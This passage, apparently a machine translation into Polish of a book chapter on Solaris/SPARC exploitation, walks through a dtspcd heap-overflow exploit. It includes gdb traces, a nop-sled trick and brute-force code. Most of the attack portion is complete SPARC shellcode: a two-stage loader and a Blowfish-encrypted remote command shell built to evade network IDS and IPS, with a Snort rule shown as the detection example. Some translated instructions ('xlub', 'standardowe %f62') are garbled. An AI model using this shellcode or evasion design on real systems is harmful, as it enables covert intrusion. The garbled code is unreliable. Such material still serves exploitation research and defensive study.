#3 0x246e4 in _PROCEDURE_LINKAGE_TABLE_ ()

#4 0x12c0c in Client_Register ()

#5 0x12918 in SPCD_Handle_Client_Data ()

#6 0x13e34 in SPCD_MainLoopUntil ()

#7 0x12868 in main ()

(gdb) x/4i 0x12c0c - 8

0x12c04 < Client_Register+64 >: call 0x24744 < Xestrcmp >

0x12c08 < Client_Register+68 >: add %g2, 0x108, %o1

0x12c0c < Client_Register+72 >: tst %o0

0x12c10 < Client_Register+76 >: be 0x13264 < Client_Register+1696 >

(gdb) x/3i 0x24744

0x24744 < Xestrcmp >: sethi %hi(0x1b000), %g1

0x24748 < Xestrcmp+4 >: b,a 0x246d8 < _PROCEDURE_LINKAGE_TABLE_ >

0x2474c < Xestrcmp+8 >: nop

(gdb)

Jak widzimy, awaria nastąpiła pod adresem 0x2c820 z powodu nielegalnej instrukcji, prawdopodobnie dlatego, że prawdopodobnie nie udało nam się trafić w nop. Podążanie śladem stosu pokazuje nam, że przeskoczyliśmy do sterty z dynamicznego linkera i stwierdzamy, że adres 0xff3c34f0 jest mapowany tam, gdzie segment ld.so.1 .text znajduje się w przestrzeni adresowej dtspcd.

Różne sztuczki stylistyczne dotyczące przepełnienia sterty Solaris SPARC

Jak widzieliśmy w Części 10, każdy exploit na stercie, który używa wewnętrznych makr lub funkcji manipulujących wskaźnikiem sterty do zapisywania do dowolnych adresów pamięci, wstawia również jedno z długich słów używanych w fałszywym fragmencie exploita w środku ładunku (nop + szelkod). To jest problem, bo możemy trafić na to długie słowo. Kiedy napotkamy to długie słowo, nasza egzekucja zostanie zakończona; to słowo najprawdopodobniej będzie nielegalną instrukcją. Zazwyczaj exploity wstawiają instrukcję „skok o kilka bajtów do przodu" gdzieś pośrodku bufora nop i zakładają, że przeskoczy to problematyczne długie słowo i zabierze nas do kodu powłoki. W tym momencie wprowadzimy nowatorską strategię nop, która sprawi, że przepełnienia sterty będą znacznie bardziej niezawodne. Zamiast wstawiać instrukcję „skok do przodu" gdzieś pośrodku bufora nop, użyjemy alternatywnych nopów, aby osiągnąć nasz cel. Oto para nop zaczerpnięta z exploita dtspcd:

0x2c7f8: bn,a 0x2c7f4

0x2c7fc: xlub %l1, %l1, %l2

Sztuczka leży w oddziale, który nie jest objęty rocznymi instrukcjami; użyjemy tego do przeskoczenia następnej instrukcji xor. W istocie, po prostu sprawiamy, że długie słowo nadpisuje jedną z instrukcji

xor; w ten sposób przeskakujemy nad nim. Istnieją dwie możliwe metody realizacji tego typu rozmieszczenia bufora nop.

Oto nieudany skok do bufora nop:

0x2c800: bn,a 0x2c7fc

0x2c804: xlub %l1, %l1, %l2

0x2c808: bn,a 0x2c804

0x2c80c: xor %l1, %l1, %l2

0x2c810: bn,a 0x2c80c

0x2c814: xor %l1, %l1, %l2

0x2c818: bn,a 0x2c814

0x2c81c: xor %l1, %l1, %l2

0x2c820: standardowe %f62, [%i0 + 0x1ac]

|-> nadpisane długim słowem fałszywego kawałka

Załóżmy, że użyliśmy adresu 0x2c800 w naszym fałszywym fragmencie, aby nadpisać thr_jmp_table. Ten adres niestety nadpisuje jedną z instrukcji rozgałęzienia zamiast wymaganej instrukcji xor. Ten skok, nawet jeśli udany, zginie z nieprawidłową instrukcją.

Oto udany skok do bufora nop:

0x2c804: xlub %l1, %l1, %l2

0x2c808: bn,a 0x2c804

0x2c80c: xor %l1, %l1, %l2

0x2c810: bn,a 0x2c80c

0x2c814: xor %l1, %l1, %l2

0x2c818: bn,a 0x2c814

0x2c81c: xor %l1, %l1, %l2

0x2c820: bn,a 0x2c81c

0x2c824: std %f62, [%i0 + 0x1ac]

Załóżmy, że tym razem użyliśmy adresu 0x2c804 w naszym fałszywym kawałku. Wszystko będzie działać dobrze, bo długie słowo nadpisze jedną z instrukcji xor, a my z radością nad nią przeskoczymy. Zamiast określać, która możliwość jest prawidłowa, oszczędzamy czas, ponieważ mamy tylko dwie możliwości. Jeśli spróbujemy dwa razy każdy możliwy adres sterty, na pewno trafimy w nasz cel. Ponownie z exploita dtspcd:

self.exploit((each+self.ldso_base), self.retaddr_base)

self.exploit((each+self.ldso_base), self.retaddr_base+4)

self.retaddr_base += self.increment

Jak widać, każdy możliwy retaddr jest sprawdzany dwukrotnie z przyrostem równym 4. Robiąc to, zakładamy, że pierwszy retaddr_base może nadpisać instrukcję rozgałęzienia zamiast instrukcji xor. Jeśli oba nie zadziałają dla nas, możemy założyć, że adres sterty nie jest poprawny. Teraz obliczamy nowy adres, dodając przyrostowy offset (self.increment) do naszego bieżącego adresu sterty. Ta technika sprawi, że exploity oparte na stercie będą znacznie bardziej niezawodne. Zakończymy tę sekcję krótkim wyjaśnieniem szelkodu SPARC, którego użyliśmy w exploicie dtspcd. W tym szelkodzie założono, że połączenia przychodzące będą zawsze powiązane z gniazdem zero. W chwili pisania tego tekstu jest to poprawne dla każdej wersji systemu operacyjnego Solaris z uruchomionym dtspcd. Zobaczmy, jak szelkod osiąga swoje cele w trzech prostych krokach. Spójrzmy na pierwszy krok:

write(0, "/bin/ksh", 8);

Shellcode zapisuje ciąg „/bin/ksh" w gnieździe sieciowym, aby umożliwić exploitowi (lub klientowi, w zależności od tego, jak postrzegasz wykorzystanie podatnych systemów) informację, że eksploatacja się powiodła. Spowoduje to, że exploit przestanie wymuszać brute i że należy wprowadzić pętlę proxy. Być może myślisz, dlaczego „/bin/ksh"? Powodem wyboru Korn Shell jest to, że nie chcemy zwiększać rozmiaru szelkodu przez wstawianie ciągu takiego jak Success lub Owned. Użyjemy ciągu, który będzie używany przez wywołanie systemowe exec(), oszczędzając w ten sposób miejsce. Następnie mamy drugi krok:

for(i=0; i < 3; i++)

fcntl(0, F_DUP2FD, i);

Po prostu zduplikujemy deskryptory plików stdin, stdout i stderr dla

gniazdo numer zero. Przejdź do trzeciego kroku:

exec("/bin/ksh", NULL);

Oto zwykła sztuczka z odradzaniem się pocisków, styl Solaris/SPARC. Ten komponent assemblera używa ciągu „/bin/ksh", który jest również używany w komponencie write(), aby poinformować exploita, że udało nam się uruchomić.

Zaawansowany kod powłoki Solaris/SPARC

Shellcode uniksa jest tradycyjnie implementowany za pomocą kolejnych wywołań systemowych, które osiągają podstawowe cele łączności i eskalacji uprawnień, takie jak tworzenie powłoki i podłączanie jej do gniazda sieciowego. Powłoki Connectback, findsocket i bindsocket są najczęściej używanymi i powszechnie dostępnymi szelkodami, które zasadniczo zapewniają zdalny dostęp do powłoki atakującej. To powszechne użycie tego samego szelkodu w tworzeniu exploitów daje producentom systemów IDS opartych na sygnaturach łatwy sposób wykrywania exploitów. Dopasowanie bajtów do dokładnego kodu powłoki lub typowych operacji nie jest aż tak przydatne, ale dostawcy IDS odnieśli wiele sukcesów w dopasowywaniu poleceń, które przechodzą przez nowo utworzoną powłokę. Jeśli jesteś zainteresowany rozwojem sygnatur IDS, polecamy wykrywanie włamań za pomocą Snort autorstwa Jacka Koziola. Książka zawiera kilka doskonałych rozdziałów na temat tworzenia sygnatur Snorta na podstawie przechwyconych surowych pakietów. Na przykład polecenia Uniksa, takie jak uname –a, ps, id i ls –l, które znajdują się w sieci w postaci zwykłego tekstu na portach takich jak 22, 80 i 443, są dużymi czerwonymi flagami dla większości IDS. W związku z tym wszystkie systemy IDS mają reguły umożliwiające wykrywanie takiej aktywności. Poza kilkoma przestarzałymi protokołami (rlogin, rsh, telnet), nigdy nie powinieneś widzieć poleceń Unixa latających po twojej sieci w postaci

zwykłego tekstu. Jest to jedna z głównych pułapek współczesnego szelkodu uniksowego, jeśli nie największa. Spójrzmy na regułę z Snort IDS (wersja 2.0.0):

alert ip any any -> any any (msg:”ATTACK RESPONSES id check returned

root”;

content: “uid=0(root)“ ; classtype:bad-unknown; sid:498; rev:3;)

Ta reguła jest wyzwalana, gdy na przewodzie zostanie znaleziony uid=0(root). Istnieje kilka podobnych przykładów w pliku attack-responses.rules, który jest rozpowszechniany z IDS sieci Snort. W tym rozdziale przedstawimy szyfrowanie typu end-to-end dla szelkodu. Podejmiemy nawet to podejście do skrajności i użyjemy szyfrowania typu blowfish w naszym szelkodzie, aby całkowicie zaszyfrować komunikację danych. Podczas początkowych wysiłków zmierzających do zbudowania kanału komunikacji szyfrującej blowfish, odkryliśmy jeszcze inne poważne ograniczenie niedawnego szelkodu uniksowego. Obecne technologie szelkodowania opierają się na bezpośrednim wykonywaniu wywołań systemowych (int 0x80, ta 0x8), co w efekcie bardzo ogranicza tworzenie złożonych zadań. Dlatego potrzebujemy możliwości lokalizowania i ładowania różnych bibliotek w naszej przestrzeni adresowej oraz korzystania z różnych funkcji bibliotecznych (API), aby osiągnąć nasze cele. Rozwój exploitów Win32 korzystał z niesamowitej elastyczności ładowania bibliotek, a następnie lokalizowania i używania API do różnych zadań przez dość długi czas. Teraz nadszedł czas, aby uniksowy kod powłoki zaczął używać _dlsym() i _dlopen() do implementacji innowacyjnych metod, takich jak kanały komunikacji zaszyfrowane metodą blowfish lub użycie libpcap do sniff ruch sieciowy w szelkodzie. Powyższe cele osiągniemy za pomocą dwustopniowego szelkodu. Pierwszy szelkod, wykorzystujący klasyczne sztuczki, skonfiguruje środowisko wykonawcze dla drugiego szelkodu. Początkowy szelkod składa się z trzech etapów: po pierwsze, wykorzystuje wywołania systemowe do zwiększenia nowej anonimowej mapy pamięci dla drugiego etapu szelkodu; po drugie, odczytywanie drugiego etapu szelkodu do nowego obszaru pamięci; i po trzecie, opróżnienie pamięci podręcznej instrukcji nad nowym regionem (dla pewności) i sfinalizowanie go przez przeskoczenie do niego. Ponadto, przed skokiem powinniśmy zauważyć, że drugi etap shellcode będzie oczekiwał numeru gniazda sieciowego w rejestrze %i1, więc musimy ustawić to przed skokiem. Poniżej znajduje się szelkod pierwszego etapu zarówno w asemblerze, jak i pseudokodzie:

/* assuming “sock” will be the network socket number. whether hardcoded

or found by getpeername() tricks */

/* grab an anonymous memory region with the mmap system call */

map = mmap(0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,

MAP_ANON|MAP_SHARED, -1,

0);

/* read in the second-stage shellcode from the network socket */

len = read(sock, map, 0x8000);

/* go over the mapped region len times and flush the instruction cache

*/

for(i = 0; i < len; i+=4, map += 4)

```
iflush map;
/* set the socket number in %i1 register and jump to the newly mapped
region */
_asm_("mov sock, %i1");
f = (void (*)()) map;
f(sock);
```

Now, let's take the preceding pseudo code and convert it to SPARC assembly:

```
.align 4
.global main
.type main,#function
.proc 04
main:
! mmap(0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_SHARED, -
1, 0);
xor %l1, %l1, %o0 ! %o0 = 0
mov 8, %l1
sll %l1, 12, %o1 ! %o1 = 0x8000
mov 7, %o2 ! %o2 = 7
sll %l1, 28, %o3
or %o3, 0x101, %o3 ! %o3 = 257
mov -1, %o4 ! %o4 = -1
xor %l1, %l1, %o5 ! %o5 = 0
mov 115, %g1 ! SYS_mmap 115
ta 8 ! mmap
xor %l2, %l2, %l1 ! %l1 = 0
add %l1, %o0, %g2 ! addr of new map
! store the address of the new memory region in %g2
! len = read(sock, map, 0x8000);
! socket number can be hardcoded, or use getpeername tricks
add %i1, %l1, %o0 ! sock number assumed to be in %i1
```

```
add %l1, %g2, %o1 ! address of the new memory region
mov 8, %l1
sll %l1, 12, %o2 ! bytes to read 0x8000
mov 3, %g1 ! SYS_read 3
ta 8 ! trap to system call
mov -8, %l2
add %g2, 8, %l1
loop:
flush %l1 - 8 ! flush the instruction cache
cmp %l2, %o0 ! %o0 = number of bytes read
ble,a loop ! loop %o0 / 4 times
add %l2, 4, %l2 ! increment the counter
jump:
!socket number is already in %i1
sub %g2, 8, %g2
jmp %g2 + 8 ! jump to the maped region
xor %l4, %l5, %l1 ! delay slot
ta 3 ! debug trap, should never be reached ...
```

The initial shellcode will produce the following output if traced with /usr/bin/truss:

```
mmap(0x00000000, 32768, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED|MAP_ANON, -1,
0) = 0xFF380000
read(0, 0xFF380000, 32768) (sleeping...)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ....
read(0, " a a a a a a a a a a a"..., 32768) = 43
Incurred fault #6, FLTBOUNDS %pc = 0x84BD8584
siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584
*** process killed ***
```

Jak widać, pomyślnie zmapowaliśmy anonimowy obszar pamięci (0xff380000) i read() w kilku znakach ze standardowego wejścia i przeskoczyliśmy do niego. Wykonywanie w końcu się zatrzymało i otrzymaliśmy SIGSEGV (błąd segmentacji), ponieważ wiersz znaków 0x61 nie ma większego sensu. Zaczniemy teraz gromadzić różne koncepcje drugiego etapu szelkodu i zakończymy ten rozdział. Krok po kroku po wykonaniu drugiego etapu szelkod następuje sam szelkod z komponentami asemblera i języka C. Spójrz na pseudokod, aby lepiej zrozumieć, co się dzieje:

- open() /usr/lib/ld.so.1 (dynamic linker).

- mmap() ld.so.1 into memory (once again).

- locate _dlsym in newly mapped region of ld.so.1

- search .dynsym, using .dynstr (dynamic symbol and string tables)

- locate and return the address for _dlsym() function

- using _dlsym() locate dlopen, fread, popen, fclose, memset, strlen ...

- dlopen() /usr/local/ssl/lib/libcrypto.so (this library comes with

openssl)

- locate BF_set_key() and BF_cfb64_encrypt() from the loaded object

(libcrypto.so)

- set the blowfish encryption key (BF_set_key())

- enter a proxy loop (infinite loop that reads and writes to the network

socket)

Pseudokod pętli proxy wygląda następująco:

- read() from the network socket (client sends encrypted data)

- decrypt whatever the exploit send over. (using BF_cfb64_encrypt() with

DECRYPT flag)

- popen() pipe the decrypted data to the shell

- fread() the output from the shell (this is the result of the piped

command)

- do an strlen() on the output from popen() (to calculate its size)

- encrypt the output with the key (using BF_cfb64_encrypt() with ENCRYPT

flag)

- write() it to the socket (exploit side now needs to decrypt the

response)

- memset() input and output buffers to NULL

- fclose() the pipe

jump to the read() from socket and wait for new commands

Przejdźmy dalej z prawdziwym kodem:

---------- BF_shell.s ----------

```
.section ".text"
.align 4
.global main
.type main,#function
.proc 04
main:
call next
nop
!use %i1 for SOCK
next:
add %o7, 0x368, %i2 !functable addr
add %i2, 40, %o0 !LDSO string
mov 0, %o1
mov 5, %g1 !SYS_open
ta 8
mov %o0, %i4 !fd
mov %o0, %o4 !fd
mov 0, %o0 !NULL
sethi %hi(16384000), %o1 !size
mov 1, %o2 !PROT_READ
mov 2, %o3 !MAP_PRIVATE
sethi %hi(0x80000000), %g1
or %g1, %o3, %o3
mov 0, %o5 !offset
mov 115, %g1 !SYS_mmap
ta 8
mov %i2, %l5 !need to store functable to temp reg
mov %o0, %i5 !addr from mmap()
```

```
add %i2, 64, %o1 !"_dlsym" string
call find_sym
nop
mov %l5, %i2 !restore functable
mov %o0, %i3 !location of _dlsym in ld.so.1
mov %i5, %o0 !addr
sethi %hi(16384000), %o1 !size
mov 117, %g1 !SYS_munmap
ta 8
mov %i4, %o0 !fd
mov 6, %g1 !SYS_close
ta 8
sethi %hi(0xff3b0000), %o0 !0xff3b0000 is ld.so base in
every process
add %i3, %o0, %i3 !address of _dlsym()
st %i3, [ %i2 + 0 ] !store _dlsym() in functable
mov -2, %o0
add %i2, 72, %o1 !"_dlopen" string
call %i3
nop
st %o0, [%i2 + 4] !store _dlopen() in functable
mov -2, %o0
add %i2, 80, %o1 !"_popen" string
call %i3
nop
st %o0, [%i2 + 8] !store _popen() in functable
mov -2, %o0
add %i2, 88, %o1 !"fread" string
call %i3
nop
st %o0, [%i2 + 12] !store fread() in functable
```

```
mov -2, %o0
add %i2, 96, %o1 !”fclose” string
call %i3
nop
st %o0, [%i2 + 16] !store fclose() in functable
mov -2, %o0
add %i2, 104, %o1 !”strlen” string
call %i3
nop
st %o0, [%i2 + 20] !store strlen() in functable
mov -2, %o0
add %i2, 112, %o1 !”memset” string
call %i3
nop
st %o0, [%i2 + 24] !store memset() in functable
ld [%i2 + 4], %o2 !_dlopen()
add %i2, 120, %o0
!”/usr/local/ssl/lib/libcrypto.so” string
mov 257, %o1 !RTLD_GLOBAL | RTLD_LAZY
call %o2
nop
mov -2, %o0
add %i2, 152, %o1 !”BF_set_key” string
call %i3
nop
st %o0, [%i2 + 28] !store BF_set_key() in
functable
mov -2, %o0
add %i2, 168, %o1 !”BF_cfb64_encrypt” string
call %i3 !call _dlsym()
nop
```

```
st %o0, [%i2 + 32] !store BF_cfb64_encrypt() in
functable
!BF_set_key(&BF_KEY, 64, &KEY);
!this API overwrites %g2 and %g3
!take care!
add %i2, 0xc8, %o2 ! KEY
mov 64, %o1 ! 64
add %i2, 0x110, %o0 ! BF_KEY
ld [%i2 + 28], %o3 ! BF_set_key() pointer
call %o3
nop
while_loop:
mov %i1, %o0 !SOCKET
sethi %hi(8192), %o2
!reserve some space
sethi %hi(0x2000), %l1
add %i2, %l1, %i4 ! somewhere after BF_KEY
mov %i4, %o1 ! read buffer in %i4
mov 3, %g1 ! SYS_read
ta 8
cmp %o0, -1 !len returned from read()
bne proxy
nop
b error_out !-1 returned exit process
nop
proxy:
!BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc);
DECRYPT
mov %o0, %o2 ! length of in
mov %i4, %o0 ! in
sethi %hi(0x2060), %l1
```

```
add %i4, %l1, %i5 !duplicate of out
add %i4, %l1, %o1 ! out
add %i2, 0x110, %o3 ! key
sub %o1, 0x40, %o4 ! ivec
st %g0, [%o4] ! ivec = 0
sub %o1, 0x8, %o5 ! &num
st %g0, [%o5] ! num = 0
!hmm stack stuff..... put enc [%sp + XX]
st %g0, [%sp+92] !BF_DECRYPT 0
ld [%i2 + 32], %l1 ! BF_cfb64_encrypt() pointer
call %l1
nop
mov %i5, %o0 ! read buffer
add %i2, 192, %o1 ! “rw” string
ld [%i2 + 8], %o2 ! _popen() pointer
call %o2
nop
mov %o0, %i3 ! store FILE *fp
mov %i4, %o0 ! buf
sethi %hi(8192), %o1 ! 8192
mov 1, %o2 ! 1
mov %i3, %o3 ! fp
ld [%i2 + 12], %o4 ! fread() pointer
call %o4
nop
mov %i4, %o0 !buf
ld [%i2 + 20], %o1 !strlen() pointer
call %o1, 0
nop
!BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc);
ENCRYPT
```

```
mov %o0, %o2 ! length of in
mov %i4, %o0 ! in
mov %o2, %i0 ! store length for
write(.., len)
mov %i5, %o1 ! out
add %i2, 0x110, %o3 ! key
sub %i5, 0x40, %o4 ! ivec
st %g0, [%o4] ! ivec = 0
sub %i5, 0x8, %o5 ! &num
st %g0, [%o5] ! num = 0
!hmm stack shit..... put enc [%sp + 92]
mov 1, %l1
st %l1, [%sp+92] !BF_ENCRYPT 1
ld [%i2 + 32], %l1 ! BF_cfb64_encrypt() pointer
call %l1
nop
mov %i0, %o2 !len to write()
mov %i1, %o0 !SOCKET
mov %i5, %o1 !buf
mov 4, %g1 !SYS_write
ta 8
mov %i4, %o0 !buf
mov 0, %o1 !0x00
sethi %hi(8192), %o2
or %o2, 8, %o2 !8192
ld [%i2 + 24], %o3 !memset() pointer
call %o3, 0
nop
mov %i3, %o0
ld [%i2 + 16], %o1 !fclose() pointer
call %o1, 0
```

```
nop
b while_loop
nop
error_out:
mov 0, %o0
mov 1, %g1 !SYS_exit
ta 8
! following assembly code is extracted from the -fPIC (position
independent)
! compiled version of the C code presented in this section.
! refer to find_sym.c for explanation of the following assembly routine.
find_sym:
ld [%o0 + 32], %g3
clr %o2
lduh [%o0 + 48], %g2
add %o0, %g3, %g3
ba f1
cmp %o2, %g2
f3:
add %o2, 1, %o2
cmp %o2, %g2
add %g3, 40, %g3
f1:
bge f2
sll %o5, 2, %g2
ld [%g3 + 4], %g2
cmp %g2, 11
bne,a f3
lduh [%o0 + 48], %g2
ld [%g3 + 24], %o5
ld [%g3 + 12], %o3
```

```
sll %o5, 2, %g2
f2:
ld [%o0 + 32], %g3
add %g2, %o5, %g2
sll %g2, 3, %g2
add %o0, %g3, %g3
add %g3, %g2, %g3
ld [%g3 + 12], %o5
and %o0, -4, %g2
add %o3, %g2, %o4
add %o5, %g2, %o5
f5:
add %o4, 16, %o4
f4:
ldub [%o4 + 12], %g2
and %g2, 15, %g2
cmp %g2, 2
bne,a f4
add %o4, 16, %o4
ld [%o4], %g2
mov %o1, %o2
ldsb [%o2], %g3
add %o5, %g2, %o3
ldsb [%o5 + %g2], %o0
cmp %o0, %g3
bne f5
add %o2, 1, %o2
ldsb [%o3], %g2
f7:
cmp %g2, 0
be f6
```

```
add %o3, 1, %o3
ldsb [%o2], %g3
ldsb [%o3], %g2
cmp %g2, %g3
be f7
add %o2, 1, %o2
ba f4
add %o4, 16, %o4
f6:
jmp %o7 + 8
ld [%o4 + 4], %o0
functable:
.word 0xbabebab0 !_dlsym
.word 0xbabebab1 !_dlopen
.word 0xbabebab2 !_popen
.word 0xbabebab3 !fread
.word 0xbabebab4 !fclose
.word 0xbabebab5 !strlen
.word 0xbabebab6 !memset
.word 0xbabebab7 !BF_set_key
.word 0xbabebab8 !BF_cfb64_encrypt
.word 0xffffffff
LDSO:
.asciz “/usr/lib/ld.so.1”
.align 8
DLSYM:
.asciz “_dlsym”
.align 8
DLOPEN:
.asciz “_dlopen”
.align 8
```

```
POPEN:
.asciz “_popen”
.align 8
FREAD:
.asciz “fread”
.align 8
FCLOSE:
.asciz “fclose”
.align 8
STRLEN:
.asciz “strlen”
.align 8
MEMSET:
.asciz “memset”
.align 8
LIBCRYPTO:
.asciz “/usr/local/ssl/lib/libcrypto.so”
.align 8
BFSETKEY:
.asciz “BF_set_key”
.align 8
BFENCRYPT:
.asciz “BF_cfb64_encrypt”
.align 8
RW:
.asciz “rw”
.align 8
KEY:
.asciz
“6fa1d67f32d67d25a31ee78e487507224ddcc968743a9cb81c912a78ae0a0ea9”
.align 8
```

BF_KEY:

.asciz “12341234” !BF_KEY storage, actually its way larger

.align 8

Jak wspomniano w komentarzach do szelkodu, funkcja find_sym() jest prostą procedurą C, która analizuje nagłówek sekcji linkera dynamicznego, znajdując dla nas tablicę symboli dynamicznych i tablicę łańcuchów. Następnie próbuje zlokalizować żądaną funkcję, analizując wpisy w dynamicznej tabeli symboli i porównując ciągi w tabeli ciągów z nazwą żądanej funkcji.

---------- find_sym.c ----------

```
#include <stdio.h>

#include <dlfcn.h>

#include <sys/types.h>

#include <sys/elf.h>

#include <fcntl.h>

#include <sys/mman.h>

#include <libelf.h>

u_long find_sym(char *, char *);

u_long

find_sym(char *base, char *buzzt)

{

Elf32_Ehdr *ehdr;

Elf32_Shdr *shdr;

Elf32_Word *dynsym, *dynstr;

Elf32_Sym *sym;

const char *s1, *s2;

register int i = 0;

ehdr = (Elf32_Ehdr *) base;

shdr = (Elf32_Shdr *) ((char *)base + (Elf32_Off) ehdr->e_shoff);

/* look for .dynsym */

while( i < ehdr->e_shnum){

if(shdr->sh_type == SHT_DYNSYM){

dynsym = (Elf32_Word *) shdr->sh_addr;

dynstr = (Elf32_Word *) shdr->sh_link;
```

```
//offset to the dynamic string table's section
header
break;
}
shdr++, i++;
}
shdr = (Elf32_Shdr *) (base + ehdr->e_shoff);
/* this section header represents the dynamic string table */
shdr += (Elf32_Word) dynstr;
dynstr = (Elf32_Addr *) shdr->sh_addr; /*relative location of
.dynstr*/
dynstr += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to
virtual */
dynsym += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to
virtual */
sym = (Elf32_Sym *) dynsym;
while(1) {
/* first entry is in symbol table is always empty, pass it */
sym++; /* next entry in symbol table */
if(ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
continue;
s1 = (char *) ((char *) dynstr + sym->st_name);
s2 = buzzt;
while (*s1 == *s2++)
if (*s1++ == 0)
return sym->st_value;
```

Podsumowanie

W tej Części wprowadziliśmy pierwszą naprawdę niezawodną metodę wykorzystania luk w systemie Solaris, wykorzystującą dynamiczny linker w jednym kroku. Dodatkowo przyjrzeliśmy się stworzeniu zaszyfrowanego kodu typu blowfish, który pozwoli nam obejść każdy rodzaj sieciowego IDS lub IPS.